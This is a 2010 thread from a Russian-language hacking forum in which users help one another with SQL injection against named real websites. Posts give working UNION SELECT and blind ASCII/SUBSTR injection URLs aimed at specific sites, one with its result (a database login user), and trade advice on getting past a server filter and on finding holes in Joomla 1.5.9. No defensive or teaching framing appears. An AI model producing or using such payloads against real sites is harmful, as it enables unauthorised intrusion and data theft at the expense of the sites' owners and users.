30.11.2010, 15:40
|
|
Новичок
Регистрация: 26.11.2010
Сообщений: 5
С нами:
8137046
Репутация:
0
|
|
Что за сайт-то?
|
|
|
30.11.2010, 16:06
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
у меня вопрос
www.truvor.ru/news.php?%20id_new=-91+union+select%20+1,2,3,4,5,6,7,8,9
как вывисти какиенибуть данные если всегда отображается только текст?
|
|
|
|
30.11.2010, 16:08
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами:
9382468
Репутация:
104
|
|
Сообщение от qaz
у меня вопрос
www.truvor.ru/news.php?%20id_new=-91+union+select%20+1,2,3,4,5,6,7,8,9
как вывисти какиенибуть данные если всегда отображается только текст?
Смотри в title
http://www.truvor.ru/news.php?id_new=-91+union+select+1,2,3,4,version(),6,7,8,9--
|
|
|
|
30.11.2010, 20:42
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Не получается вывести имя юзера.
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+user,null,null,null,null,null,null,null,null, null,null,null+from+sys.dual--
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+sys.login_user,null,null,null,null,null,null, null,null,null,null,null+from+sys.dual--
|
|
|
|
01.12.2010, 04:56
|
|
Новичок
Регистрация: 24.06.2010
Сообщений: 9
С нами:
8360246
Репутация:
0
|
|
хи алл! народ помогите с Joomla 1.5.9 - сил ужо нет( ,какие у него дыры , хотяб статейку подкинте.
спс)
|
|
|
|
01.12.2010, 07:14
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Делаю запрос
Сообщение от None
-5+union+select+1,version()--
Все отлично показывает
А на вот такой
Сообщение от None
-5+union+select+1,version()+from+users--
говорит
Сообщение от None
Bad Request
Your browser sent a request that this server could not understand.
Как я понял тут фильтруется from или набодобие того как это обойти? |
|
|
|
01.12.2010, 09:50
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от apoclepsis
хи алл! народ помогите с Joomla 1.5.9 - сил ужо нет( ,какие у него дыры , хотяб статейку подкинте.
спс)
а погуглить влом?
|
|
|
|
01.12.2010, 09:53
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от noviyuser
Делаю запрос
Все отлично показывает
А на вот такой
говорит
Как я понял тут фильтруется from или набодобие того как это обойти?
попробуй указать базу где находится табличка users, если и так не сканает то скорее всего фильтр на from, попробуй подзапросами...
|
|
|
|
01.12.2010, 10:07
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Gorev
попробуй указать базу где находится табличка users, если и так не сканает то скорее всего фильтр на from, попробуй подзапросами...
Табличку указывал не проканало, а как подзапросы делать можно примерчик?
|
|
|
|
01.12.2010, 10:51
|
|
Участник форума
Регистрация: 27.08.2010
Сообщений: 154
С нами:
8268086
Репутация:
7
|
|
Сообщение от FlaktW
Не получается вывести имя юзера.
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+user,null,null,null,null,null,null,null,null, null,null,null+from+sys.dual--
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+sys.login_user,null,null,null,null,null,null, null,null,null,null,null+from+sys.dual--
можно попробовать вслепую:
Код:
http://www.oeaw.ac.at/oeaw_servlet/PersonenDetailsGeneric?id=12361+AND+ASCII(SUBSTR((SELECT+SYS.LOGIN_USER+FROM+DUAL),1,1))=87
user:WWW
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
